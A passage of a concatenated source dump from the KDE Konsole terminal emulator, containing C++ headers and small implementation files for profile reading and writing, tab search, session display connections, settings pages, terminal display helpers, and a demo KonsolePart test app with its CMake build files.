@p profile. 31 | * 32 | * Returns true if the profile was successfully read or false otherwise. 33 | * 34 | * @param path Path to the profile to read 35 | * @param profile Pointer to the Profile the settings will be read into 36 | * @param parentProfile Receives the name of the parent profile 37 | */ 38 | bool readProfile(const QString &path, Profile::Ptr profile, QString &parentProfile); 39 | 40 | private: 41 | void readProperties(const KConfig &config, Profile::Ptr profile); 42 | }; 43 | } 44 | 45 | #endif // PROFILEREADER_H 46 | -------------------------------------------------------------------------------- /src/profile/ProfileWriter.h: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #ifndef PROFILEWRITER_H 10 | #define PROFILEWRITER_H 11 | 12 | #include "Profile.h" 13 | 14 | class KConfig; 15 | 16 | namespace Konsole 17 | { 18 | /** Interface for all classes which can write profile settings to a file. */ 19 | class KONSOLEPRIVATE_EXPORT ProfileWriter 20 | { 21 | public: 22 | ProfileWriter(); 23 | ~ProfileWriter(); 24 | 25 | /** 26 | * Returns a suitable path-name for writing 27 | * @p profile to. The path-name should be accepted by 28 | * the corresponding ProfileReader class. 29 | */ 30 | QString getPath(const Profile::Ptr &profile); 31 | /** 32 | * Writes the properties and values from @p profile to the file specified 33 | * by @p path. This profile should be readable by the corresponding 34 | * ProfileReader class. 35 | */ 36 | bool writeProfile(const QString &path, const Profile::Ptr &profile); 37 | 38 | private: 39 | void writeProperties(KConfig &config, const Profile::Ptr &profile); 40 | }; 41 | } 42 | 43 | #endif // PROFILEWRITER_H 44 | -------------------------------------------------------------------------------- /src/ptyqt/iptyprocess.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2023 Waqar Ahmed 3 | SPDX-License-Identifier: MIT 4 | */ 5 | #include "iptyprocess.h" 6 | 7 | IPtyProcess::~IPtyProcess() = default; 8 | 9 | #include "moc_iptyprocess.cpp" 10 | -------------------------------------------------------------------------------- /src/searchtabs/SearchTabs.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2024 Troy Hoover 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #pragma once 8 | 9 | // Own 10 | #include "SearchTabsModel.h" 11 | 12 | // Qt 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | // Konsole 19 | #include "ViewManager.h" 20 | #include "widgets/ViewContainer.h" 21 | 22 | class SearchTabsFilterProxyModel; 23 | 24 | namespace Konsole 25 | { 26 | 27 | class KONSOLEPRIVATE_EXPORT SearchTabs : public QFrame 28 | { 29 | public: 30 | SearchTabs(ViewManager *viewManager); 31 | 32 | /** 33 | * update state 34 | * will fill model with current open tabs 35 | */ 36 | void updateState(); 37 | void updateViewGeometry(); 38 | 39 | protected: 40 | bool eventFilter(QObject *obj, QEvent *event) override; 41 | 42 | private: 43 | void reselectFirst(); 44 | 45 | /** 46 | * Return pressed, activate the selected tab 47 | * and go back to background 48 | */ 49 | void slotReturnPressed(); 50 | 51 | private: 52 | ViewManager *m_viewManager; 53 | 54 | QLineEdit *m_inputLine; 55 | QTreeView *m_listView; 56 | 57 | /** 58 | * tab model 59 | */ 60 | SearchTabsModel *m_model = nullptr; 61 | 62 | /** 63 | * fuzzy filter model 64 | */ 65 | SearchTabsFilterProxyModel *m_proxyModel = nullptr; 66 | }; 67 | 68 | } 69 | -------------------------------------------------------------------------------- /src/searchtabs/SearchTabsModel.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2024 Troy Hoover 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #pragma once 8 | 9 | // Qt 10 | #include 11 | #include 12 | #include 13 | 14 | // Konsole 15 | #include "ViewManager.h" 16 | 17 | namespace Konsole 18 | { 19 | 20 | struct TabEntry { 21 | QString name; 22 | int view; 23 | int score = -1; 24 | }; 25 | 26 | class SearchTabsModel : public QAbstractTableModel 27 | { 28 | public: 29 | enum Role { 30 | Name = Qt::UserRole + 1, 31 | View, 32 | Score, 33 | }; 34 | explicit SearchTabsModel(QObject *parent = nullptr); 35 | 36 | int rowCount(const QModelIndex &parent = QModelIndex()) const override; 37 | int columnCount(const QModelIndex &parent) const override; 38 | QVariant data(const QModelIndex &idx, int role) const override; 39 | void refresh(ViewManager *viewManager); 40 | 41 | bool isValid(int row) const 42 | { 43 | return row >= 0 && row < m_tabEntries.size(); 44 | } 45 | 46 | void setScoreForIndex(int row, int score) 47 | { 48 | m_tabEntries[row].score = score; 49 | } 50 | 51 | const QString &idxToName(int row) const 52 | { 53 | return m_tabEntries.at(row).name; 54 | } 55 | 56 | int idxScore(const QModelIndex &idx) const 57 | { 58 | if (!idx.isValid()) { 59 | return {}; 60 | } 61 | return m_tabEntries.at(idx.row()).score; 62 | } 63 | 64 | private: 65 | QVector m_tabEntries; 66 | }; 67 | 68 | } 69 | -------------------------------------------------------------------------------- /src/session/SessionDisplayConnection.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020-2020 Gustavo Carneiro 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | // Own 8 | #include "SessionDisplayConnection.h" 9 | 10 | // Konsole 11 | #include "Session.h" 12 | #include "terminalDisplay/TerminalDisplay.h" 13 | 14 | namespace Konsole 15 | { 16 | SessionDisplayConnection::SessionDisplayConnection(Session *session, TerminalDisplay *view, QObject *parent) 17 | : QObject(parent) 18 | , _session(session) 19 | , _view(view) 20 | { 21 | } 22 | 23 | QPointer SessionDisplayConnection::session() 24 | { 25 | return _session; 26 | } 27 | 28 | QPointer SessionDisplayConnection::view() 29 | { 30 | return _view; 31 | } 32 | 33 | bool SessionDisplayConnection::isValid() const 34 | { 35 | return !_session.isNull() && !_view.isNull(); 36 | } 37 | 38 | } // namespace Konsole 39 | 40 | #include "moc_SessionDisplayConnection.cpp" 41 | -------------------------------------------------------------------------------- /src/session/SessionDisplayConnection.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020-2020 Gustavo Carneiro 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef SESSIONDISPLAYCONNECTION_H 8 | #define SESSIONDISPLAYCONNECTION_H 9 | 10 | // Qt 11 | #include 12 | #include 13 | 14 | #include "konsoleprivate_export.h" 15 | 16 | namespace Konsole 17 | { 18 | class Session; 19 | class TerminalDisplay; 20 | 21 | class KONSOLEPRIVATE_EXPORT SessionDisplayConnection : public QObject 22 | { 23 | Q_OBJECT 24 | public: 25 | SessionDisplayConnection(Session *session, TerminalDisplay *view, QObject *parent = nullptr); 26 | ~SessionDisplayConnection() override = default; 27 | 28 | QPointer session(); 29 | QPointer view(); 30 | 31 | /** 32 | * Returns true if the session and view is valid. 33 | * A valid connection and view is one which has a non-null session() and view(). 34 | * 35 | * Equivalent to "!session().isNull() && !view().isNull()" 36 | */ 37 | bool isValid() const; 38 | 39 | private: 40 | QPointer _session; 41 | QPointer _view; 42 | }; 43 | 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /src/session/SessionTask.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2006-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2009 Thomas Dreibholz 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #include "SessionTask.h" 9 | 10 | namespace Konsole 11 | { 12 | SessionTask::SessionTask(QObject *parent) 13 | : QObject(parent) 14 | { 15 | } 16 | 17 | void SessionTask::setAutoDelete(bool enable) 18 | { 19 | _autoDelete = enable; 20 | } 21 | 22 | bool SessionTask::autoDelete() const 23 | { 24 | return _autoDelete; 25 | } 26 | 27 | void SessionTask::addSession(Session *session) 28 | { 29 | _sessions.append(session); 30 | } 31 | 32 | const QList> &SessionTask::sessions() const 33 | { 34 | return _sessions; 35 | } 36 | 37 | } 38 | 39 | #include "moc_SessionTask.cpp" 40 | -------------------------------------------------------------------------------- /src/settings/GeneralSettings.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2011 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | // Own 8 | #include "GeneralSettings.h" 9 | 10 | #include 11 | 12 | using namespace Konsole; 13 | 14 | GeneralSettings::GeneralSettings(QWidget *aParent) 15 | : QWidget(aParent) 16 | { 17 | setupUi(this); 18 | 19 | connect(enableAllMessagesButton, &QPushButton::clicked, this, &Konsole::GeneralSettings::slotEnableAllMessages); 20 | } 21 | 22 | GeneralSettings::~GeneralSettings() = default; 23 | 24 | void GeneralSettings::slotEnableAllMessages() 25 | { 26 | KMessageBox::enableAllMessages(); 27 | } 28 | 29 | #include "moc_GeneralSettings.cpp" 30 | -------------------------------------------------------------------------------- /src/settings/GeneralSettings.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2011 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef GENERALSETTINGS_H 8 | #define GENERALSETTINGS_H 9 | 10 | #include "ui_GeneralSettings.h" 11 | 12 | namespace Konsole 13 | { 14 | class GeneralSettings : public QWidget, private Ui::GeneralSettings 15 | { 16 | Q_OBJECT 17 | 18 | public: 19 | explicit GeneralSettings(QWidget *aParent = nullptr); 20 | ~GeneralSettings() override; 21 | 22 | public Q_SLOTS: 23 | void slotEnableAllMessages(); 24 | }; 25 | } 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /src/settings/KonsoleSettings.kcfgc: -------------------------------------------------------------------------------- 1 | File=konsole.kcfg 2 | NameSpace=Konsole 3 | ClassName=KonsoleSettings 4 | Singleton=true 5 | MemberVariables=private 6 | ItemAccessors=true 7 | Mutators=true 8 | GlobalEnums=true 9 | SetUserTexts=true 10 | Visibility=KONSOLEPRIVATE_EXPORT 11 | IncludeFiles=\"konsoleprivate_export.h\" 12 | -------------------------------------------------------------------------------- /src/settings/MemorySettings.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2023 Theodore Wang 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | // Own 8 | #include "MemorySettings.h" 9 | 10 | // Qt 11 | #include 12 | #include 13 | 14 | using namespace Konsole; 15 | 16 | MemorySettings::MemorySettings(QWidget *parent) 17 | : QWidget(parent) 18 | { 19 | setupUi(this); 20 | } 21 | 22 | MemorySettings::~MemorySettings() = default; 23 | 24 | #include "moc_MemorySettings.cpp" 25 | -------------------------------------------------------------------------------- /src/settings/MemorySettings.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2023 Theodore Wang 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef MEMORYSETTINGS_H 8 | #define MEMORYSETTINGS_H 9 | 10 | #include "ui_MemorySettings.h" 11 | 12 | namespace Konsole 13 | { 14 | class MemorySettings : public QWidget, private Ui::MemorySettings 15 | { 16 | Q_OBJECT 17 | 18 | public: 19 | explicit MemorySettings(QWidget *parent = nullptr); 20 | ~MemorySettings() override; 21 | }; 22 | } 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/settings/PartInfo.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2017 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | // Own 8 | #include "PartInfo.h" 9 | 10 | using namespace Konsole; 11 | 12 | PartInfoSettings::PartInfoSettings(QWidget *parent) 13 | : QWidget(parent) 14 | { 15 | setupUi(this); 16 | } 17 | 18 | PartInfoSettings::~PartInfoSettings() = default; 19 | 20 | #include "moc_PartInfo.cpp" 21 | -------------------------------------------------------------------------------- /src/settings/PartInfo.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2017 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef PARTINFO_H 8 | #define PARTINFO_H 9 | 10 | #include "ui_PartInfo.h" 11 | 12 | namespace Konsole 13 | { 14 | class PartInfoSettings : public QWidget, private Ui::PartInfoSettings 15 | { 16 | Q_OBJECT 17 | 18 | public: 19 | explicit PartInfoSettings(QWidget *parent = nullptr); 20 | ~PartInfoSettings() override; 21 | }; 22 | } 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/settings/TabBarSettings.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2011 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | // Own 8 | #include "TabBarSettings.h" 9 | 10 | using namespace Konsole; 11 | 12 | TabBarSettings::TabBarSettings(QWidget *parent) 13 | : QWidget(parent) 14 | { 15 | setupUi(this); 16 | 17 | kcfg_TabBarUserStyleSheetFile->setMimeTypeFilters({QStringLiteral("text/css")}); 18 | 19 | // For some reason these layouts have invalid sizes when 20 | // sizeHint() is read before the widget is shown. 21 | appearanceTabLayout->activate(); 22 | behaviorTabLayout->activate(); 23 | 24 | // Enable CSS file selector only when tabbar is visible and custom css is active 25 | const auto updateStyleSheetFileEnable = [this](bool) { 26 | kcfg_TabBarUserStyleSheetFile->setEnabled(kcfg_TabBarUseUserStyleSheet->isChecked() && !AlwaysHideTabBar->isChecked()); 27 | }; 28 | connect(kcfg_TabBarUseUserStyleSheet, &QAbstractButton::toggled, this, updateStyleSheetFileEnable); 29 | connect(AlwaysHideTabBar, &QAbstractButton::toggled, this, updateStyleSheetFileEnable); 30 | } 31 | 32 | TabBarSettings::~TabBarSettings() = default; 33 | 34 | #include "moc_TabBarSettings.cpp" 35 | -------------------------------------------------------------------------------- /src/settings/TabBarSettings.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2011 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef TABBARSETTINGS_H 8 | #define TABBARSETTINGS_H 9 | 10 | #include "ui_TabBarSettings.h" 11 | 12 | namespace Konsole 13 | { 14 | class TabBarSettings : public QWidget, private Ui::TabBarSettings 15 | { 16 | Q_OBJECT 17 | 18 | public: 19 | explicit TabBarSettings(QWidget *parent = nullptr); 20 | ~TabBarSettings() override; 21 | }; 22 | } 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/settings/TemporaryFilesSettings.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2015 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | // Own 8 | #include "TemporaryFilesSettings.h" 9 | 10 | // Qt 11 | #include 12 | 13 | using namespace Konsole; 14 | 15 | TemporaryFilesSettings::TemporaryFilesSettings(QWidget *aParent) 16 | : QWidget(aParent) 17 | { 18 | setupUi(this); 19 | 20 | const QString tempPath = QStandardPaths::writableLocation(QStandardPaths::TempLocation); 21 | QString cachePath = QStandardPaths::writableLocation(QStandardPaths::CacheLocation); 22 | // Use "~" instead of full path. It looks nice and helps 23 | // in cases when home path is really long. 24 | const QString homePath = QStandardPaths::writableLocation(QStandardPaths::HomeLocation); 25 | if (cachePath.startsWith(homePath)) { 26 | cachePath.replace(0, homePath.length(), QStringLiteral("~")); 27 | } 28 | 29 | // There's no way of doing this with strings placed in .ui file 30 | kcfg_scrollbackUseSystemLocation->setText( 31 | i18nc("@option:radio File location; %1: path to directory placeholder", "System temporary directory (%1)", tempPath)); 32 | kcfg_scrollbackUseCacheLocation->setText( 33 | i18nc("@option:radio File location; %1: path to directory placeholder", "User cache directory (%1)", cachePath)); 34 | 35 | kcfg_scrollbackUseSpecifiedLocationDirectory->setMode(KFile::Directory); 36 | } 37 | 38 | #include "moc_TemporaryFilesSettings.cpp" 39 | -------------------------------------------------------------------------------- /src/settings/TemporaryFilesSettings.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2015 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef TEMPORARYFILESSETTINGS_H 8 | #define TEMPORARYFILESSETTINGS_H 9 | 10 | #include "ui_TemporaryFilesSettings.h" 11 | 12 | namespace Konsole 13 | { 14 | class TemporaryFilesSettings : public QWidget, private Ui::TemporaryFilesSettings 15 | { 16 | Q_OBJECT 17 | 18 | public: 19 | explicit TemporaryFilesSettings(QWidget *aParent = nullptr); 20 | ~TemporaryFilesSettings() override = default; 21 | }; 22 | } 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/settings/ThumbnailsSettings.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #include "ThumbnailsSettings.h" 8 | 9 | using namespace Konsole; 10 | 11 | ThumbnailsSettings::ThumbnailsSettings(QWidget *aParent) 12 | : QWidget(aParent) 13 | { 14 | setupUi(this); 15 | } 16 | 17 | #include "moc_ThumbnailsSettings.cpp" 18 | -------------------------------------------------------------------------------- /src/settings/ThumbnailsSettings.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef THUMBNAILSSETTINGS_H 8 | #define THUMBNAILSSETTINGS_H 9 | 10 | #include "ui_ThumbnailsSettings.h" 11 | 12 | namespace Konsole 13 | { 14 | class ThumbnailsSettings : public QWidget, private Ui::ThumbnailsSettings 15 | { 16 | Q_OBJECT 17 | 18 | public: 19 | explicit ThumbnailsSettings(QWidget *aParent = nullptr); 20 | ~ThumbnailsSettings() override = default; 21 | }; 22 | 23 | } 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /src/terminalDisplay/TerminalBell.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2006-2008 Robert Knight 3 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 4 | SPDX-FileCopyrightText: 2021 Jonah Brüchert 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #pragma once 10 | 11 | #include 12 | 13 | #include 14 | 15 | namespace Konsole 16 | { 17 | class TerminalDisplay; 18 | 19 | class TerminalBell : public QObject 20 | { 21 | Q_OBJECT 22 | 23 | public: 24 | explicit TerminalBell(Enum::BellModeEnum bellMode); 25 | void bell(TerminalDisplay *td, const QString &message, bool terminalHasFocus); 26 | 27 | /** 28 | * Sets the type of effect used to alert the user when a 'bell' occurs in the 29 | * terminal session. 30 | * 31 | * The terminal session can trigger the bell effect by calling bell() with 32 | * the alert message. 33 | */ 34 | void setBellMode(Enum::BellModeEnum mode); 35 | 36 | Q_SIGNALS: 37 | void visualBell(); 38 | 39 | private: 40 | Enum::BellModeEnum _bellMode; 41 | bool _bellMasked = false; 42 | }; 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/terminalDisplay/extras/AutoScrollHandler.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef AUTOSCROLLHANDLER_H 9 | #define AUTOSCROLLHANDLER_H 10 | 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | class AutoScrollHandler : public QObject 16 | { 17 | Q_OBJECT 18 | 19 | public: 20 | explicit AutoScrollHandler(QWidget *parent); 21 | 22 | protected: 23 | void timerEvent(QTimerEvent *event) override; 24 | bool eventFilter(QObject *watched, QEvent *event) override; 25 | 26 | private: 27 | QWidget *widget() const 28 | { 29 | return static_cast(parent()); 30 | } 31 | 32 | int _timerId = 0; 33 | }; 34 | 35 | } 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /src/terminalDisplay/extras/CompositeWidgetFocusWatcher.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2006-2008 Robert Knight 3 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef COMPOSITEWIDGET_H 9 | #define COMPOSITEWIDGET_H 10 | 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | // Watches compositeWidget and all its focusable children, 16 | // and emits focusChanged() signal when either compositeWidget's 17 | // or a child's focus changed. 18 | // Limitation: children added after the object was created 19 | // will not be registered. 20 | class CompositeWidgetFocusWatcher : public QObject 21 | { 22 | Q_OBJECT 23 | 24 | public: 25 | explicit CompositeWidgetFocusWatcher(QWidget *compositeWidget); 26 | bool eventFilter(QObject *watched, QEvent *event) Q_DECL_OVERRIDE; 27 | 28 | Q_SIGNALS: 29 | void compositeFocusChanged(bool focused); 30 | 31 | private: 32 | void registerWidgetAndChildren(QWidget *widget); 33 | }; 34 | 35 | } // namespace Konsole 36 | 37 | #endif // COMPOSITEWIDGET_H 38 | -------------------------------------------------------------------------------- /src/tests/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_subdirectory(demo_konsolepart) 2 | 3 | include(ECMMarkAsTest) 4 | 5 | set(EXECUTABLE_OUTPUT_PATH ${CMAKE_CURRENT_BINARY_DIR}) 6 | 7 | set(KONSOLE_TEST_LIBS Qt::Test konsoleprivate) 8 | 9 | add_executable(PartManualTest PartManualTest.cpp) 10 | ecm_mark_as_test(PartManualTest) 11 | target_link_libraries(PartManualTest KF6::XmlGui KF6::Parts ${KONSOLE_TEST_LIBS}) 12 | 13 | -------------------------------------------------------------------------------- /src/tests/PartManualTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef PARTMANUALTEST_H 8 | #define PARTMANUALTEST_H 9 | 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | class QKeyEvent; 16 | 17 | namespace Konsole 18 | { 19 | class PartManualTest : public QObject 20 | { 21 | Q_OBJECT 22 | 23 | private Q_SLOTS: 24 | void testShortcutOverride(); 25 | 26 | // marked as protected so they are not treated as test cases 27 | protected Q_SLOTS: 28 | void overrideShortcut(QKeyEvent *event, bool &override); 29 | void shortcutTriggered(); 30 | 31 | private: 32 | KParts::Part *createPart(); 33 | 34 | // variables for testShortcutOverride() 35 | bool _shortcutTriggered = false; 36 | bool _overrideCalled = false; 37 | bool _override = false; 38 | QEventLoop *_shortcutEventLoop = nullptr; 39 | }; 40 | 41 | } 42 | 43 | #endif // PARTMANUALTEST_H 44 | -------------------------------------------------------------------------------- /src/tests/demo_konsolepart/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.16) 2 | 3 | project(demo_konsolepart) 4 | set(PROJECT_VERSION "1.0.0") 5 | 6 | find_package(ECM 1.0.0 REQUIRED NO_MODULE) 7 | set(CMAKE_MODULE_PATH ${ECM_MODULE_PATH} ${CMAKE_CURRENT_SOURCE_DIR}/cmake) 8 | 9 | include(KDEInstallDirs) 10 | include(KDECMakeSettings) 11 | include(KDECompilerSettings NO_POLICY_SCOPE) 12 | include(ECMInstallIcons) 13 | include(FeatureSummary) 14 | 15 | set(QT_MIN_VERSION "6.5.0") 16 | find_package(Qt6 ${QT_MIN_VERSION} CONFIG REQUIRED COMPONENTS Core Gui Widgets) 17 | 18 | set(REQUIRED_KF_VERSION "6.0.0") 19 | find_package(KF6 ${REQUIRED_KF_VERSION} REQUIRED COMPONENTS 20 | CoreAddons 21 | I18n 22 | ) 23 | 24 | feature_summary(WHAT ALL FATAL_ON_MISSING_REQUIRED_PACKAGES) 25 | 26 | add_subdirectory(src) 27 | -------------------------------------------------------------------------------- /src/tests/demo_konsolepart/README: -------------------------------------------------------------------------------- 1 | 2 | This is a demo/test app using KonsolePart 3 | 4 | It is currently used to test 5 | 1. ManageProfile dialog 6 | 7 | 8 | 9 | Originally created from kf5simple.kdev4 template 10 | 11 | -------------------------------------------------------------------------------- /src/tests/demo_konsolepart/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | set(demo_konsolepart_SRCS 2 | main.cpp 3 | demo_konsolepart.cpp 4 | ) 5 | 6 | add_executable(demo_konsolepart ${demo_konsolepart_SRCS}) 7 | 8 | target_link_libraries(demo_konsolepart 9 | KF6::CoreAddons 10 | KF6::I18n 11 | KF6::Parts 12 | KF6::Service 13 | Qt::Widgets 14 | KF6::XmlGui 15 | KF6::WindowSystem 16 | ) 17 | -------------------------------------------------------------------------------- /src/tests/demo_konsolepart/src/demo_konsolepart.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2017 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef DEMO_KONSOLEPART_H 8 | #define DEMO_KONSOLEPART_H 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | class demo_konsolepart : public KMainWindow 16 | { 17 | Q_OBJECT 18 | public: 19 | demo_konsolepart(); 20 | 21 | ~demo_konsolepart() override; 22 | 23 | void manageProfiles(); 24 | 25 | public Q_SLOTS: 26 | void quit(); 27 | 28 | private: 29 | Q_DISABLE_COPY(demo_konsolepart) 30 | 31 | KParts::ReadOnlyPart *createPart(); 32 | 33 | KParts::ReadOnlyPart *_terminalPart; 34 | TerminalInterface *_terminal; 35 | }; 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /src/tests/demo_konsolepart/src/main.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2017 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | // application header 8 | #include "demo_konsolepart.h" 9 | 10 | // KF headers 11 | #include 12 | #include 13 | 14 | // Qt headers 15 | #include 16 | #include 17 | 18 | int main(int argc, char **argv) 19 | { 20 | auto app = new QApplication(argc, argv); 21 | 22 | KLocalizedString::setApplicationDomain("demo_konsolepart"); 23 | 24 | KAboutData about(QStringLiteral("demo_konsolepart"), 25 | i18nc("@title", "Demo KonsolePart"), 26 | QStringLiteral("1.0"), 27 | i18nc("@title", "Terminal emulator"), 28 | KAboutLicense::GPL_V2, 29 | i18nc("@info:credit", "(c) 2017, The Konsole Developers"), 30 | QString(), 31 | QStringLiteral("https://konsole.kde.org/")); 32 | 33 | KAboutData::setApplicationData(about); 34 | 35 | QSharedPointer parser(new QCommandLineParser); 36 | parser->setApplicationDescription(about.shortDescription()); 37 | parser->addHelpOption(); 38 | parser->addVersionOption(); 39 | about.setupCommandLine(parser.data()); 40 | 41 | QStringList args = app->arguments(); 42 | 43 | parser->process(args); 44 | about.processCommandLine(parser.data()); 45 | 46 | auto demo = new demo_konsolepart(); 47 | demo->show(); 48 | 49 | int ret = app->exec(); 50 | delete app; 51 | return ret; 52 | } 53 | -------------------------------------------------------------------------------- /src/widgets/DetachableTabBar.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2018 Tomaz Canabrava 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef DETACHABLETABBAR_H 8 | #define DETACHABLETABBAR_H 9 | 10 | #include 11 | #include 12 | 13 | class QColor; 14 | class QPaintEvent; 15 | 16 | namespace Konsole 17 | { 18 | class TabbedViewContainer; 19 | class DetachableTabBar : public QTabBar 20 | { 21 | Q_OBJECT 22 | public: 23 | enum class DragType : unsigned char { 24 | NONE, 25 | OUTSIDE, 26 | WINDOW, 27 | }; 28 | 29 | explicit DetachableTabBar(QWidget *parent = nullptr); 30 | 31 | void setColor(int idx, const QColor &color); 32 | void removeColor(int idx); 33 | Q_SIGNALS: 34 | void detachTab(int index); 35 | void moveTabToWindow(int tabIndex, QWidget *otherWindow); 36 | void closeTab(int index); 37 | void newTabRequest(); 38 | 39 | protected: 40 | void middleMouseButtonClickAt(const QPoint &pos); 41 | void mousePressEvent(QMouseEvent *event) override; 42 | void mouseMoveEvent(QMouseEvent *event) override; 43 | void mouseReleaseEvent(QMouseEvent *event) override; 44 | void mouseDoubleClickEvent(QMouseEvent *event) override; 45 | void dragEnterEvent(QDragEnterEvent *event) override; 46 | void dragMoveEvent(QDragMoveEvent *event) override; 47 | void paintEvent(QPaintEvent *event) override; 48 | 49 | private: 50 | DragType dragType; 51 | QCursor _originalCursor; 52 | QList _containers; 53 | int tabId; 54 | }; 55 | } 56 | 57 | #endif 58 | 